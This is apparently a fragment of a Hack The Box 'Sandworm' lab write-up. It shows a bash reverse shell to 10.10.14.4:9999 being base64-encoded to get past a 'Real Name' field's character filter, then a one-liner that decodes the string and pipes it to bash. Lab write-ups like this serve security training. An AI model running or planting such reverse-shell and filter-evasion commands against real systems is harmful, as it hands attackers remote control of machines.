Sandworm_Payload

revShells

---

It’s a simple bash reverse shell

However, I cannot just use it as the Real Name field does not take the characters; < and >

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ echo '/bin/sh -i >& /dev/tcp/10.10.14.4/9999 0>&1' | base64                                                                   L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Lzk5OTkgMD4mMQo=

So I will first encode the reverse shell in the base64 format

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ bash -c 'echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Lzk5OTkgMD4mMQo=|base64 -d|bash' 

and wrap it around This should work